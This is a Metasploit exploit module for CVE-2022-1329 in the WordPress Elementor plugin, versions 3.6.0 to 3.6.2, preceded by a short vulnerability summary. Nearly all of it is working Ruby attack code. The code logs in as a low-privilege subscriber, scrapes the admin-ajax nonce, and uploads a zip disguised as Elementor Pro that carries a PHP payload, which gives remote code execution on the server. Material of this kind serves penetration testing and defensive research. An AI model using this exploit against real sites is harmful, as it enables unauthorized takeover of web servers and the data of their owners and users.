WordPress Elementor plugin versions 3.6.0 through 3.6.2 suffer from a remote shell upload vulnerability. This is achieved by sending a request to install Elementor Pro from a user supplied zip file. Any user with Subscriber or more permissions is able to execute this.
0537a61d8c7e168ee93f25ae88cc62b13741cb186c02291ebc2f946f834cd81f##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',
'Description' => %q{
The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability
that allows any authenticated user to upload and execute any PHP file. This is achieved
by sending a request to install Elementor Pro from a user supplied zip file.
Any user with Subscriber or more permissions is able to execute this.
Tested against Elementor 3.6.1
},
'License' => MSF_LICENSE,
'Author' => [
'Ramuel Gall', # Discovery
'AkuCyberSec', # Exploit-db
'h00die' # Metasploit module
],
'References' => [
['EDB', '50115'],
['CVE', '2022-1329'],
['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],
['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Wordpress Elementor', {}]
],
'Privileged' => false,
'DisclosureDate' => '2022-03-29',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),
OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
]
end
def check
unless wordpress_and_online?
return CheckCode::Safe('Server not online or not detected as Wordpress')
end
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
CheckCode::Safe('Invalid credentials given!') unless cookie
return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')
end
def upload_file(nonce, cookie)
zip_file = Rex::Zip::Archive.new
payload_name = 'elementor-pro.php'
print_status("Payload file name: #{payload_name}")
# we end up in wp-admin, so we need to get to the right folder
register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')
# payload must contain a Plugin Name header with the name of the plugin
pload = "<?php\n"
pload << "/**\n"
pload << "* Plugin Name: Elementor Pro\n"
pload << "*/\n"
pload << payload.encoded.gsub('/*<?php /**/ ', '')
pload << "\n?>"
zip_file.add_file("/elementor-pro/#{payload_name}", pload)
vars_form_data = [
# post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')
{
'name' => 'action',
'data' => 'elementor_upload_and_install_pro'
},
# post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')
{
'name' => '_nonce',
'data' => nonce
},
# post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')
{
'name' => 'fileToUpload',
'data' => zip_file.pack,
'encoding' => 'binary',
'filename' => 'elementor-pro.zip',
'mime_type' => 'application/x-zip-compressed'
}
]
resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'cookie' => cookie,
'vars_form_data' => vars_form_data
)
# we get a timeout on success
if resp.nil?
print_good('Payload Uploaded Successfully')
return
end
fail_with(Failure::UnexpectedReply, 'Error uploading payload')
end
def get_nonce(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),
'cookie' => cookie
)
unless res && (res.code == 200)
fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")
end
# find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one
res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')
print_status('Looking for nonce')
nonce = get_nonce(cookie)
fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?
print_good("Nonce: #{nonce}")
print_status('Uploading upgrade payload and activating...')
upload_file(nonce, cookie)
end
end